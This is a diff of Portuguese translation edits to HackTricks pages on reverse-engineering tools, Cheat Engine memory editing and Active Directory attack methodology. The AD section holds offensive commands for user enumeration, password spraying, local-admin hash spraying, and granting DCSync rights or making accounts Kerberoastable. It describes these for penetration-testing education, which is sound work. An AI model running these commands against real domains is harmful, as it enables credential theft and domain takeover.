+A opção **Create Dump** irá despejar o shellcode final se alguma alteração for feita no shellcode dinamicamente na memória (útil para baixar o shellcode decodificado). O **start offset** pode ser útil para iniciar o shellcode em um deslocamento específico. A opção **Debug Shell** é útil para depurar o shellcode usando o terminal scDbg (no entanto, eu acho que qualquer uma das opções explicadas anteriormente é melhor para isso, pois você poderá usar o Ida ou x64dbg).
 
 ### Desmontando usando CyberChef
 
@@ -280,11 +280,11 @@ Nesta página você pode encontrar como obter o código python de um binário py
 Se você obtiver o **binário** de um jogo GBA, pode usar diferentes ferramentas para **emular** e **depurar**:
 
 - [**no$gba**](https://problemkaputt.de/gba.htm) (_Baixe a versão de depuração_) - Contém um depurador com interface
-- [**mgba** ](https://mgba.io) - Contém um depurador CLI
+- [**mgba** ](https://mgba.io)- Contém um depurador CLI
 - [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Plugin Ghidra
 - [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Plugin Ghidra
 
-Em [**no$gba**](https://problemkaputt.de/gba.htm), em _**Options --> Emulation Setup --> Controls**_\*\* \*\* você pode ver como pressionar os **botões** do Game Boy Advance
+No [**no$gba**](https://problemkaputt.de/gba.htm), em _**Options --> Emulation Setup --> Controls**_** ** você pode ver como pressionar os **botões** do Game Boy Advance
 
 ![](<../../images/image (581).png>)
 
@@ -328,7 +328,7 @@ FUN_08000dd0(&DAT_02009584,0x6000000,&DAT_030000dc);
 FUN_08000354(&DAT_030000dc,0x3c);
 uVar4 = DAT_030004d8;
 ```
-Encontrou este código:
+Este código foi encontrado:
 ```c
 do {
 DAT_030004da = uVar4; //This is the last key pressed
@@ -370,13 +370,13 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
 ```
 No código anterior, você pode ver que estamos comparando **uVar1** (o lugar onde está o **valor do botão pressionado**) com alguns valores:
 
-- Primeiro, é comparado com o **valor 4** (botão **SELECT**): No desafio, este botão limpa a tela.
-- Em seguida, é comparado com o **valor 8** (botão **START**): No desafio, isso verifica se o código é válido para obter a flag.
+- Primeiro, é comparado com o **valor 4** (**botão SELECT**): No desafio, este botão limpa a tela.
+- Em seguida, é comparado com o **valor 8** (**botão START**): No desafio, isso verifica se o código é válido para obter a flag.
 - Neste caso, a var **`DAT_030000d8`** é comparada com 0xf3 e, se o valor for o mesmo, algum código é executado.
 - Em qualquer outro caso, algum cont (`DAT_030000d4`) é verificado. É um cont porque está adicionando 1 logo após entrar no código.\
-**Se** for menor que 8, algo que envolve **adicionar** valores a \*\*`DAT_030000d8` \*\* é feito (basicamente, está adicionando os valores das teclas pressionadas nesta variável, desde que o cont seja menor que 8).
+**Se** for menor que 8, algo que envolve **adicionar** valores a **`DAT_030000d8`** é feito (basicamente, está adicionando os valores das teclas pressionadas nesta variável, desde que o cont seja menor que 8).
 
-Portanto, neste desafio, sabendo os valores dos botões, você precisava **pressionar uma combinação com um comprimento menor que 8 cuja soma resultante é 0xf3.**
+Assim, neste desafio, sabendo os valores dos botões, você precisava **pressionar uma combinação com um comprimento menor que 8 que a adição resultante seja 0xf3.**
 
 **Referência para este tutorial:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)
 

src/reversing/reversing-tools-basic-methods/cheat-engine.md

@@ -3,7 +3,7 @@
 {{#include ../../banners/hacktricks-training.md}}
 
 [**Cheat Engine**](https://www.cheatengine.org/downloads.php) é um programa útil para encontrar onde valores importantes são salvos dentro da memória de um jogo em execução e alterá-los.\
-Quando você o baixa e executa, é **apresentado** a um **tutorial** de como usar a ferramenta. Se você quiser aprender a usar a ferramenta, é altamente recomendado completá-lo.
+Quando você o baixa e executa, é **apresentado** a um **tutorial** de como usar a ferramenta. Se você quiser aprender a usar a ferramenta, é altamente recomendável completá-lo.
 
 ## O que você está procurando?
 
@@ -22,9 +22,9 @@ Você também pode marcar a caixa para **parar o jogo enquanto escaneia a memór
 
 ![](<../../images/image (1052).png>)
 
-### Teclas de Atalho
+### Teclas de atalho
 
-Em _**Edit --> Settings --> Hotkeys**_ você pode definir diferentes **teclas de atalho** para diferentes propósitos, como **parar** o **jogo** (o que é bastante útil se em algum momento você quiser escanear a memória). Outras opções estão disponíveis:
+Em _**Editar --> Configurações --> Teclas de atalho**_ você pode definir diferentes **teclas de atalho** para diferentes propósitos, como **parar** o **jogo** (o que é bastante útil se em algum momento você quiser escanear a memória). Outras opções estão disponíveis:
 
 ![](<../../images/image (864).png>)
 
@@ -46,26 +46,26 @@ Então, vamos supor que há um valor importante (como a vida do seu usuário) qu
 
 ### Através de uma mudança conhecida
 
-Supondo que você está procurando o valor 100, você **realiza um escaneamento** buscando por esse valor e encontra muitas coincidências:
+Supondo que você está procurando o valor 100, você **realiza uma varredura** procurando por esse valor e encontra muitas coincidências:
 
 ![](<../../images/image (108).png>)
 
-Então, você faz algo para que **o valor mude**, e você **para** o jogo e **realiza** um **próximo escaneamento**:
+Então, você faz algo para que **o valor mude**, e você **para** o jogo e **realiza** uma **próxima varredura**:
 
 ![](<../../images/image (684).png>)
 
 Cheat Engine irá procurar os **valores** que **foram de 100 para o novo valor**. Parabéns, você **encontrou** o **endereço** do valor que estava procurando, agora você pode modificá-lo.\
-_Se você ainda tiver vários valores, faça algo para modificar novamente esse valor e realize outro "próximo escaneamento" para filtrar os endereços._
+_Se você ainda tiver vários valores, faça algo para modificar novamente esse valor e realize outra "próxima varredura" para filtrar os endereços._
 
-### Valor Desconhecido, mudança conhecida
+### Valor desconhecido, mudança conhecida
 
-No cenário em que você **não sabe o valor**, mas sabe **como fazê-lo mudar** (e até mesmo o valor da mudança), você pode procurar seu número.
+No cenário em que você **não sabe o valor**, mas sabe **como fazê-lo mudar** (e até o valor da mudança), você pode procurar seu número.
 
-Então, comece realizando um escaneamento do tipo "**Valor inicial desconhecido**":
+Então, comece realizando uma varredura do tipo "**Valor inicial desconhecido**":
 
 ![](<../../images/image (890).png>)
 
-Em seguida, faça o valor mudar, indique **como** o **valor** **mudou** (no meu caso, foi diminuído em 1) e realize um **próximo escaneamento**:
+Em seguida, faça o valor mudar, indique **como** o **valor** **mudou** (no meu caso, foi diminuído em 1) e realize uma **próxima varredura**:
 
 ![](<../../images/image (371).png>)
 
@@ -75,15 +75,15 @@ Você será apresentado a **todos os valores que foram modificados da maneira se
 
 Uma vez que você tenha encontrado seu valor, você pode modificá-lo.
 
-Note que há uma **muita mudança possível** e você pode fazer esses **passos quantas vezes quiser** para filtrar os resultados:
+Note que há uma **porção de mudanças possíveis** e você pode fazer esses **passos quantas vezes quiser** para filtrar os resultados:
 
 ![](<../../images/image (574).png>)
 
-### Endereço de Memória Aleatório - Encontrando o código
+### Endereço de memória aleatório - Encontrando o código
 
 Até agora, aprendemos como encontrar um endereço que armazena um valor, mas é altamente provável que em **diferentes execuções do jogo, esse endereço esteja em lugares diferentes da memória**. Então, vamos descobrir como sempre encontrar esse endereço.
 
-Usando alguns dos truques mencionados, encontre o endereço onde seu jogo atual está armazenando o valor importante. Então (parando o jogo se desejar) clique com o **botão direito** no **endereço** encontrado e selecione "**Descobrir o que acessa este endereço**" ou "**Descobrir o que escreve para este endereço**":
+Usando alguns dos truques mencionados, encontre o endereço onde seu jogo atual está armazenando o valor importante. Então (parando o jogo se desejar), clique com o botão direito no **endereço** encontrado e selecione "**Descobrir o que acessa este endereço**" ou "**Descobrir o que escreve para este endereço**":
 
 ![](<../../images/image (1067).png>)
 
@@ -100,13 +100,13 @@ Agora que você encontrou o endereço que está modificando o valor, você pode
 
 Assim, você pode agora modificá-lo para que o código não afete seu número, ou sempre afete de uma maneira positiva.
 
-### Endereço de Memória Aleatório - Encontrando o ponteiro
+### Endereço de memória aleatório - Encontrando o ponteiro
 
-Seguindo os passos anteriores, encontre onde o valor que você está interessado está. Então, usando "**Descobrir o que escreve para este endereço**", descubra qual endereço escreve esse valor e clique duas vezes nele para obter a visualização da desassemblagem:
+Seguindo os passos anteriores, encontre onde o valor que você está interessado está. Em seguida, usando "**Descobrir o que escreve para este endereço**", descubra qual endereço escreve esse valor e clique duas vezes nele para obter a visualização da desassemblagem:
 
 ![](<../../images/image (1039).png>)
 
-Em seguida, realize um novo escaneamento **buscando o valor hex entre "\[]"** (o valor de $edx neste caso):
+Em seguida, realize uma nova varredura **procurando o valor hex entre "\[]"** (o valor de $edx neste caso):
 
 ![](<../../images/image (994).png>)
 
@@ -138,7 +138,7 @@ Então, imagine que você encontrou o endereço que está subtraindo 1 da vida d
 ![](<../../images/image (203).png>)
 
 Clique em Mostrar desassemblador para obter o **código desassemblado**.\
-Em seguida, clique **CTRL+a** para invocar a janela de Auto assemble e selecione _**Template --> Injeção de Código**_
+Em seguida, clique **CTRL+a** para invocar a janela de Auto assemble e selecione _**Modelo --> Injeção de Código**_
 
 ![](<../../images/image (902).png>)
 
@@ -146,15 +146,15 @@ Preencha o **endereço da instrução que você deseja modificar** (isso geralme
 
 ![](<../../images/image (744).png>)
 
-Um template será gerado:
+Um modelo será gerado:
 
 ![](<../../images/image (944).png>)
 
-Assim, insira seu novo código assembly na seção "**newmem**" e remova o código original da seção "**originalcode**" se você não quiser que ele seja executado\*\*.\*\* Neste exemplo, o código injetado adicionará 2 pontos em vez de subtrair 1:
+Então, insira seu novo código assembly na seção "**newmem**" e remova o código original da seção "**originalcode**" se você não quiser que ele seja executado. Neste exemplo, o código injetado adicionará 2 pontos em vez de subtrair 1:
 
 ![](<../../images/image (521).png>)
 
-**Clique em executar e assim seu código deve ser injetado no programa, mudando o comportamento da funcionalidade!**
+**Clique em executar e assim por diante e seu código deve ser injetado no programa, mudando o comportamento da funcionalidade!**
 
 ## **Referências**
 

src/windows-hardening/active-directory-methodology/README.md

@@ -36,6 +36,9 @@ Para aprender como **atacar um AD**, você precisa **entender** muito bem o **pr
 
 Você pode acessar [https://wadcoms.github.io/](https://wadcoms.github.io) para ter uma visão rápida dos comandos que você pode executar para enumerar/explorar um AD.
 
+> [!WARNING]
+> A comunicação Kerberos **requer um nome totalmente qualificado (FQDN)** para realizar ações. Se você tentar acessar uma máquina pelo endereço IP, **usará NTLM e não Kerberos**.
+
 ## Reconhecimento do Active Directory (Sem credenciais/sessões)
 
 Se você apenas tiver acesso a um ambiente AD, mas não tiver credenciais/sessões, você poderia:
@@ -65,7 +68,7 @@ Se você apenas tiver acesso a um ambiente AD, mas não tiver credenciais/sessõ
 
 - **Envenenar a rede**
 - Coletar credenciais [**impersonando serviços com Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
-- Acessar host [**abusando do ataque de retransmissão**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
+- Acessar o host [**abusando do ataque de retransmissão**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
 - Coletar credenciais **expondo** [**serviços UPnP falsos com evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
 - [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
 - Extrair nomes de usuários/nome de documentos internos, redes sociais, serviços (principalmente web) dentro dos ambientes de domínio e também de fontes publicamente disponíveis.
@@ -77,7 +80,7 @@ Se você apenas tiver acesso a um ambiente AD, mas não tiver credenciais/sessõ
 ### Enumeração de usuários
 
 - **Enumeração SMB/LDAP anônima:** Verifique as páginas de [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) e [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
-- **Enumeração Kerbrute**: Quando um **nome de usuário inválido é solicitado**, o servidor responderá usando o código de erro **Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, permitindo-nos determinar que o nome de usuário era inválido. **Nomes de usuários válidos** irão gerar uma resposta **TGT em um AS-REP** ou o erro _KRB5KDC_ERR_PREAUTH_REQUIRED_, indicando que o usuário precisa realizar a pré-autenticação.
+- **Enumeração Kerbrute**: Quando um **nome de usuário inválido é solicitado**, o servidor responderá usando o código de erro **Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, permitindo-nos determinar que o nome de usuário era inválido. **Nomes de usuários válidos** resultarão em uma resposta **TGT em um AS-REP** ou no erro _KRB5KDC_ERR_PREAUTH_REQUIRED_, indicando que o usuário deve realizar a pré-autenticação.
 - **Sem autenticação contra MS-NRPC**: Usando auth-level = 1 (Sem autenticação) contra a interface MS-NRPC (Netlogon) em controladores de domínio. O método chama a função `DsrGetDcNameEx2` após vincular a interface MS-NRPC para verificar se o usuário ou computador existe sem credenciais. A ferramenta [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) implementa esse tipo de enumeração. A pesquisa pode ser encontrada [aqui](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
 ```bash
 ./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
@@ -105,7 +108,7 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
 Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
 ```
 > [!WARNING]
-> Você pode encontrar listas de nomes de usuários em [**este repositório do github**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* e neste ([**nomes de usuários estatisticamente prováveis**](https://github.com/insidetrust/statistically-likely-usernames)).
+> Você pode encontrar listas de nomes de usuários em [**este repositório do github**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) e neste ([**nomes de usuários estatisticamente prováveis**](https://github.com/insidetrust/statistically-likely-usernames)).
 >
 > No entanto, você deve ter o **nome das pessoas que trabalham na empresa** da etapa de reconhecimento que você deve ter realizado antes disso. Com o nome e sobrenome, você pode usar o script [**namemash.py**](https://gist.github.com/superkojiman/11076951) para gerar nomes de usuários válidos potenciais.
 
@@ -115,7 +118,7 @@ Ok, então você sabe que já tem um nome de usuário válido, mas sem senhas...
 
 - [**ASREPRoast**](asreproast.md): Se um usuário **não tiver** o atributo _DONT_REQ_PREAUTH_, você pode **solicitar uma mensagem AS_REP** para esse usuário que conterá alguns dados criptografados por uma derivação da senha do usuário.
 - [**Password Spraying**](password-spraying.md): Vamos tentar as senhas **mais comuns** com cada um dos usuários descobertos, talvez algum usuário esteja usando uma senha fraca (lembre-se da política de senhas!).
-- Note que você também pode **spray em servidores OWA** para tentar obter acesso aos servidores de e-mail dos usuários.
+- Note que você também pode **spray servidores OWA** para tentar obter acesso aos servidores de e-mail dos usuários.
 
 {{#ref}}
 password-spraying.md
@@ -131,7 +134,7 @@ Você pode ser capaz de **obter** alguns **hashes** de desafio para quebrar **en
 
 ### NTLM Relay
 
-Se você conseguiu enumerar o Active Directory, terá **mais e-mails e uma melhor compreensão da rede**. Você pode ser capaz de forçar ataques de NTLM [**relay**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* para obter acesso ao ambiente AD.
+Se você conseguiu enumerar o Active Directory, terá **mais e-mails e uma melhor compreensão da rede**. Você pode ser capaz de forçar ataques de NTLM [**relay**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) para obter acesso ao ambiente AD.
 
 ### Roubar Credenciais NTLM
 
@@ -162,7 +165,7 @@ Em relação ao [**ASREPRoast**](asreproast.md), você agora pode encontrar todo
 - Você também pode [**usar powerview**](../basic-powershell-for-pentesters/powerview.md) para extrair informações mais detalhadas
 - Outra ferramenta incrível para reconhecimento em um Active Directory é [**BloodHound**](bloodhound.md). Não é **muito discreto** (dependendo dos métodos de coleta que você usa), mas **se você não se importar** com isso, deve definitivamente experimentar. Descubra onde os usuários podem RDP, encontre caminhos para outros grupos, etc.
 - **Outras ferramentas automatizadas de enumeração AD são:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
-- [**Registros DNS do AD**](ad-dns-records.md) pois podem conter informações interessantes.
+- [**Registros DNS do AD**](ad-dns-records.md), pois podem conter informações interessantes.
 - Uma **ferramenta com GUI** que você pode usar para enumerar o diretório é **AdExplorer.exe** do **SysInternal** Suite.
 - Você também pode pesquisar no banco de dados LDAP com **ldapsearch** para procurar credenciais nos campos _userPassword_ & _unixUserPassword_, ou até mesmo por _Description_. cf. [Senha no comentário do usuário AD em PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) para outros métodos.
 - Se você estiver usando **Linux**, também pode enumerar o domínio usando [**pywerview**](https://github.com/the-useless-one/pywerview).
@@ -209,15 +212,15 @@ Há uma página completa neste livro sobre [**escalação de privilégios local
 
 Se você conseguiu enumerar o Active Directory, terá **mais e-mails e uma melhor compreensão da rede**. Você pode ser capaz de forçar ataques de NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
 
-### **Procure Credenciais em Compartilhamentos de Computador**
+### Procura por Credenciais em Compartilhamentos de Computador | Compartilhamentos SMB
 
-Agora que você tem algumas credenciais básicas, deve verificar se consegue **encontrar** arquivos **interessantes sendo compartilhados dentro do AD**. Você poderia fazer isso manualmente, mas é uma tarefa repetitiva muito chata (e mais ainda se você encontrar centenas de documentos que precisa verificar).
+Agora que você tem algumas credenciais básicas, deve verificar se consegue **encontrar** arquivos **interessantes sendo compartilhados dentro do AD**. Você poderia fazer isso manualmente, mas é uma tarefa muito chata e repetitiva (e mais ainda se você encontrar centenas de documentos que precisa verificar).
 
 [**Siga este link para aprender sobre ferramentas que você poderia usar.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
 
 ### Roubar Credenciais NTLM
 
-Se você pode **acessar outros PCs ou compartilhamentos**, pode **colocar arquivos** (como um arquivo SCF) que, se acessados de alguma forma, **dispararão uma autenticação NTLM contra você**, permitindo que você **roube** o **desafio NTLM** para quebrá-lo:
+Se você pode **acessar outros PCs ou compartilhamentos**, poderia **colocar arquivos** (como um arquivo SCF) que, se acessados de alguma forma, **dispararão uma autenticação NTLM contra você**, permitindo que você **roube** o **desafio NTLM** para quebrá-lo:
 
 {{#ref}}
 ../ntlm/places-to-steal-ntlm-creds.md
@@ -243,8 +246,8 @@ Então, é hora de despejar todos os hashes na memória e localmente.\
 
 ### Pass the Hash
 
-**Uma vez que você tenha o hash de um usuário**, pode usá-lo para **impersoná-lo**.\
-Você precisa usar alguma **ferramenta** que **realize** a **autenticação NTLM usando** esse **hash**, **ou** você pode criar um novo **sessionlogon** e **injetar** esse **hash** dentro do **LSASS**, para que quando qualquer **autenticação NTLM for realizada**, esse **hash será usado.** A última opção é o que o mimikatz faz.\
+**Uma vez que você tenha o hash de um usuário**, pode usá-lo para **impersonar** esse usuário.\
+Você precisa usar alguma **ferramenta** que **realize** a **autenticação NTLM usando** esse **hash**, **ou** você poderia criar um novo **sessionlogon** e **injetar** esse **hash** dentro do **LSASS**, para que quando qualquer **autenticação NTLM for realizada**, esse **hash será usado.** A última opção é o que o mimikatz faz.\
 [**Leia esta página para mais informações.**](../ntlm/index.html#pass-the-hash)
 
 ### Over Pass the Hash/Pass the Key
@@ -265,7 +268,7 @@ pass-the-ticket.md
 
 ### Reutilização de Credenciais
 
-Se você tem o **hash** ou **senha** de um **administrador local**, deve tentar **fazer login localmente** em outros **PCs** com ele.
+Se você tem o **hash** ou a **senha** de um **administrador local**, deve tentar **fazer login localmente** em outros **PCs** com isso.
 ```bash
 # Local Auth Spray (once you found some local admin pass or hash)
 ## --local-auth flag indicate to only try 1 time per machine
@@ -274,17 +277,17 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
 > [!WARNING]
 > Note que isso é bastante **barulhento** e o **LAPS** **mitigaria** isso.
 
-### Abuso de MSSQL & Links Confiáveis
+### Abuso de MSSQL e Links Confiáveis
 
 Se um usuário tiver privilégios para **acessar instâncias MSSQL**, ele poderá usá-las para **executar comandos** no host MSSQL (se estiver rodando como SA), **roubar** o **hash** NetNTLM ou até mesmo realizar um **ataque** de **relay**.\
-Além disso, se uma instância MSSQL for confiável (link de banco de dados) por uma instância MSSQL diferente. Se o usuário tiver privilégios sobre o banco de dados confiável, ele poderá **usar o relacionamento de confiança para executar consultas também na outra instância**. Essas confianças podem ser encadeadas e, em algum momento, o usuário pode ser capaz de encontrar um banco de dados mal configurado onde pode executar comandos.\
+Além disso, se uma instância MSSQL for confiável (link de banco de dados) por uma instância MSSQL diferente. Se o usuário tiver privilégios sobre o banco de dados confiável, ele poderá **usar a relação de confiança para executar consultas também na outra instância**. Essas confianças podem ser encadeadas e, em algum momento, o usuário pode ser capaz de encontrar um banco de dados mal configurado onde pode executar comandos.\
 **Os links entre bancos de dados funcionam até mesmo através de confianças de floresta.**
 
 {{#ref}}
 abusing-ad-mssql.md
 {{#endref}}
 
-### Delegação Incontrolada
+### Delegação Inconstrangida
 
 Se você encontrar qualquer objeto de Computador com o atributo [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) e você tiver privilégios de domínio no computador, você poderá despejar TGTs da memória de todos os usuários que fazem login no computador.\
 Portanto, se um **Administrador de Domínio fizer login no computador**, você poderá despejar seu TGT e se passar por ele usando [Pass the Ticket](pass-the-ticket.md).\
@@ -305,7 +308,7 @@ constrained-delegation.md
 
 ### Delegação Constrangida Baseada em Recursos
 
-Ter privilégio de **ESCREVER** em um objeto do Active Directory de um computador remoto permite a execução de código com **privilégios elevados**:
+Ter privilégio de **GRAVAÇÃO** em um objeto do Active Directory de um computador remoto permite a execução de código com **privilégios elevados**:
 
 {{#ref}}
 resource-based-constrained-delegation.md
@@ -321,7 +324,7 @@ acl-persistence-abuse/
 
 ### Abuso do serviço de Spooler de Impressão
 
-Descobrir um **serviço de Spool** ouvindo dentro do domínio pode ser **abusado** para **adquirir novas credenciais** e **escalar privilégios**.
+Descobrir um **serviço de Spooler ouvindo** dentro do domínio pode ser **abusado** para **adquirir novas credenciais** e **escalar privilégios**.
 
 {{#ref}}
 printers-spooler-service-abuse.md
@@ -377,19 +380,19 @@ Por exemplo, você poderia:
 
 - Tornar usuários vulneráveis ao [**Kerberoast**](kerberoast.md)
 
-```powershell
+```bash
 Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}r
 ```
 
 - Tornar usuários vulneráveis ao [**ASREPRoast**](asreproast.md)
 
-```powershell
+```bash
 Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
 ```
 
 - Conceder privilégios de [**DCSync**](#dcsync) a um usuário
 
-```powershell
+```bash
 Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
 ```
 
@@ -403,9 +406,9 @@ silver-ticket.md
 
 ### Golden Ticket
 
-Um **ataque Golden Ticket** envolve um atacante obtendo acesso ao **hash NTLM da conta krbtgt** em um ambiente Active Directory (AD). Esta conta é especial porque é usada para assinar todos os **Tickets Granting Tickets (TGTs)**, que são essenciais para autenticação dentro da rede AD.
+Um **ataque Golden Ticket** envolve um atacante ganhando acesso ao **hash NTLM da conta krbtgt** em um ambiente Active Directory (AD). Esta conta é especial porque é usada para assinar todos os **Tickets Granting Tickets (TGTs)**, que são essenciais para autenticação dentro da rede AD.
 
-Uma vez que o atacante obtém esse hash, ele pode criar **TGTs** para qualquer conta que escolher (ataque de ticket de prata).
+Uma vez que o atacante obtém esse hash, ele pode criar **TGTs** para qualquer conta que escolher (ataque Silver ticket).
 
 {{#ref}}
 golden-ticket.md
@@ -413,7 +416,7 @@ golden-ticket.md
 
 ### Diamond Ticket
 
-Estes são como tickets de ouro forjados de uma maneira que **bypassa mecanismos comuns de detecção de tickets de ouro.**
+Estes são como golden tickets forjados de uma maneira que **bypassa mecanismos comuns de detecção de golden tickets.**
 
 {{#ref}}
 diamond-ticket.md
@@ -421,7 +424,7 @@ diamond-ticket.md
 
 ### **Persistência de Conta de Certificados**
 
-**Ter certificados de uma conta ou ser capaz de solicitá-los** é uma maneira muito boa de poder persistir na conta dos usuários (mesmo que ele mude a senha):
+**Ter certificados de uma conta ou ser capaz de solicitá-los** é uma maneira muito boa de conseguir persistir na conta dos usuários (mesmo que ele mude a senha):
 
 {{#ref}}
 ad-certificates/account-persistence.md
@@ -437,7 +440,7 @@ ad-certificates/domain-persistence.md
 
 ### Grupo AdminSDHolder
 
-O objeto **AdminSDHolder** no Active Directory garante a segurança de **grupos privilegiados** (como Administradores de Domínio e Administradores Empresariais) aplicando uma **Lista de Controle de Acesso (ACL)** padrão em todos esses grupos para evitar alterações não autorizadas. No entanto, esse recurso pode ser explorado; se um atacante modificar a ACL do AdminSDHolder para dar acesso total a um usuário comum, esse usuário ganha controle extenso sobre todos os grupos privilegiados. Essa medida de segurança, destinada a proteger, pode, portanto, falhar, permitindo acesso indevido, a menos que monitorado de perto.
+O objeto **AdminSDHolder** no Active Directory garante a segurança de **grupos privilegiados** (como Administradores de Domínio e Administradores Empresariais) aplicando uma **Lista de Controle de Acesso (ACL)** padrão em todos esses grupos para evitar alterações não autorizadas. No entanto, esse recurso pode ser explorado; se um atacante modificar a ACL do AdminSDHolder para dar acesso total a um usuário comum, esse usuário ganha controle extenso sobre todos os grupos privilegiados. Essa medida de segurança, destinada a proteger, pode, portanto, falhar, permitindo acesso indevido, a menos que monitorada de perto.
 
 [**Mais informações sobre o Grupo AdminDSHolder aqui.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
 
@@ -467,7 +470,7 @@ security-descriptors.md
 
 ### Skeleton Key
 
-Alterar **LSASS** na memória para estabelecer uma **senha universal**, concedendo acesso a todas as contas de domínio.
+Altere o **LSASS** na memória para estabelecer uma **senha universal**, concedendo acesso a todas as contas de domínio.
 
 {{#ref}}
 skeleton-key.md
@@ -506,7 +509,7 @@ A Microsoft vê a **Floresta** como o limite de segurança. Isso implica que **c
 
 ### Informações Básicas
 
-Uma [**confiança de domínio**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) é um mecanismo de segurança que permite que um usuário de um **domínio** acesse recursos em outro **domínio**. Ele essencialmente cria uma ligação entre os sistemas de autenticação dos dois domínios, permitindo que as verificações de autenticação fluam sem problemas. Quando os domínios configuram uma confiança, eles trocam e retêm **chaves** específicas dentro de seus **Controladores de Domínio (DCs)**, que são cruciais para a integridade da confiança.
+Uma [**confiança de domínio**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) é um mecanismo de segurança que permite que um usuário de um **domínio** acesse recursos em outro **domínio**. Ele essencialmente cria uma ligação entre os sistemas de autenticação dos dois domínios, permitindo que as verificações de autenticação fluam sem problemas. Quando os domínios configuram uma confiança, eles trocam e mantêm **chaves** específicas dentro de seus **Controladores de Domínio (DCs)**, que são cruciais para a integridade da confiança.
 
 Em um cenário típico, se um usuário pretende acessar um serviço em um **domínio confiável**, ele deve primeiro solicitar um ticket especial conhecido como um **TGT inter-realm** do DC de seu próprio domínio. Este TGT é criptografado com uma **chave** que ambos os domínios concordaram. O usuário então apresenta este TGT ao **DC do domínio confiável** para obter um ticket de serviço (**TGS**). Após a validação bem-sucedida do TGT inter-realm pelo DC do domínio confiável, ele emite um TGS, concedendo ao usuário acesso ao serviço.
 
@@ -524,13 +527,13 @@ Em um cenário típico, se um usuário pretende acessar um serviço em um **dom
 
 É importante notar que **uma confiança pode ser unidirecional ou bidirecional**. Na opção bidirecional, ambos os domínios confiarão um no outro, mas na relação de confiança **unidirecional**, um dos domínios será o **confiável** e o outro o **confiador**. No último caso, **você só poderá acessar recursos dentro do domínio confiador a partir do confiável**.
 
-Se o Domínio A confia no Domínio B, A é o domínio confiador e B é o confiável. Além disso, no **Domínio A**, isso seria uma **confiança de saída**; e no **Domínio B**, isso seria uma **confiança de entrada**.
+Se o Domínio A confiar no Domínio B, A é o domínio confiador e B é o confiável. Além disso, em **Domínio A**, isso seria uma **confiança de saída**; e em **Domínio B**, isso seria uma **confiança de entrada**.
 
 **Diferentes relações de confiança**
 
 - **Confianças Pai-Filho**: Esta é uma configuração comum dentro da mesma floresta, onde um domínio filho automaticamente tem uma confiança transitiva bidirecional com seu domínio pai. Essencialmente, isso significa que as solicitações de autenticação podem fluir sem problemas entre o pai e o filho.
-- **Confianças de Cruzamento**: Referidas como "confianças de atalho", estas são estabelecidas entre domínios filhos para acelerar processos de referência. Em florestas complexas, as referências de autenticação normalmente precisam viajar até a raiz da floresta e depois descer até o domínio alvo. Ao criar cruzamentos, a jornada é encurtada, o que é especialmente benéfico em ambientes geograficamente dispersos.
-- **Confianças Externas**: Estas são configuradas entre diferentes domínios não relacionados e são não transitivas por natureza. De acordo com [a documentação da Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), as confianças externas são úteis para acessar recursos em um domínio fora da floresta atual que não está conectado por uma confiança de floresta. A segurança é reforçada através da filtragem de SID com confianças externas.
